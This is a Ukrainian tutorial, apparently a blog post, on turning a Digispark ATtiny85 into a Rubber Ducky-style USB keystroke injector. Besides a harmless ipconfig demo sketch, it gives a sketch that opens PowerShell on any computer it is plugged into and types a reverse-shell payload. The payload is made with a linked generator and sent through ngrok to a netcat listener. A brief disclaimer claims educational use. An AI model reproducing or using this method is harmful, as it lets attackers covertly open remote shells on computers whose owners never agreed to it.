Rubber Ducky — це відомий хакерський інструмент, який виглядає як звичайна USB-флешка, але насправді є пристроєм, що автоматично виконує команди на комп’ютері, до якого він підключений. З допомогою спеціального скрипта, Rubber Ducky може здійснювати автоматизовані атаки на комп’ютери, наприклад, вводити команди або запускати скрипти без відома користувача. Проте, оригінальний Rubber Ducky є досить дорогим, і його можна замінити більш економічним варіантом — Digispark ATtiny85. У цій статті ми розглянемо, як створити власний Rubber Ducky за допомогою Digispark ATtiny85.
Дисклеймер: Ця стаття підготовлена на основі інформації з відкритих джерел і має виключно освітні та дослідницькі цілі. Всі наведені інструкції та приклади призначені для демонстрації роботи з мікроконтролерами та програмування. Використовувати ці інструменти потрібно лише в законних цілях, таких як тестування власних систем або з дозволу власників. Ми не підтримуємо та не заохочуємо жодних незаконних дій. Завжди дотримуйтесь законодавства та етичних норм у використанні технічних знань.
Digispark ATtiny85 — мікроконтролер, який буде основою вашого Rubber Ducky.
Arduino IDE — середовище розробки, в якому ви будете писати і завантажувати скрипти на Digispark.
Комп’ютер з USB-портом для програмування Digispark.
Завантажте та встановіть Arduino IDE на ваш комп’ютер.
Відкрийте Arduino IDE і перейдіть до File > Preferences.
У полі Additional Board Manager URLs додайте наступний URL: http://digistump.com/package_digistump_index.json.
Натисніть OK і перейдіть до Tools > Board > Boards Manager.
Знайдіть Digispark (by Digistump) і встановіть його.
Ось приклад коду, який імітує Rubber Ducky, вводячи команди на комп’ютері.
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0); // Відправка нульового коду для ініціалізації
}
void loop() {
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win + R для відкриття діалогового вікна "Виконати"
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd"); // Введення "cmd"
DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
DigiKeyboard.delay(500);
DigiKeyboard.print("ipconfig"); // Введення команди ipconfig
DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
DigiKeyboard.delay(5000); // Очікування, щоб вивести результат
DigiKeyboard.sendKeyStroke(KEY_ESC); // Закриття командного рядка
while(1) {} // Зупинка виконання коду
}
Для початку на своєму пк ми ставимо netcat і ngrok. Також нам треба встановленний python(3.8 підійде) і https://github.com/deeexcee-io/PowerShell-Reverse-Shell-Generator генеруємо наш код программою. В значення підставляємо те що нам дав ngrok і готовий код буде таким:
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0); // Відправка нульового коду для ініціалізації
}
void loop() {
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win + R для відкриття діалогового вікна "Виконати"
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell"); // Введення "powershell"
DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
DigiKeyboard.delay(500);
DigiKeyboard.print(“(((НАШ КОД)))"); // Введення команди
DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
DigiKeyboard.delay(500); // Очікування, але маленьке
DigiKeyboard.sendKeyStroke(KEY_ESC); // Закриття командного рядка
while(1) {} // Зупинка виконання коду
}
Підключіть ваш Digispark ATtiny85 до комп’ютера.
У Arduino IDE оберіть Tools > Board > Digispark (Default – 16.5mhz).
Натисніть кнопку Upload. Arduino IDE попросить підключити Digispark до USB (якщо він ще не підключений). Завантаження коду відбудеться автоматично після підключення.
Тепер, після завантаження коду на Digispark, ви можете підключити його до будь-якого комп’ютера. Як тільки Digispark буде підключено до USB-порту, він автоматично виконає запрограмовані дії.
Використання Digispark ATtiny85 як альтернативи Rubber Ducky — це цікавий і доступний спосіб ознайомитися з автоматизацією команд та можливостями мікроконтролерів. Такий інструмент можна застосовувати для створення демонстраційних сценаріїв або тестування безпеки комп’ютера.
Якщо у Вас виникають проблеми, то Ви можете зв’язатися з нами за допомогою [email protected].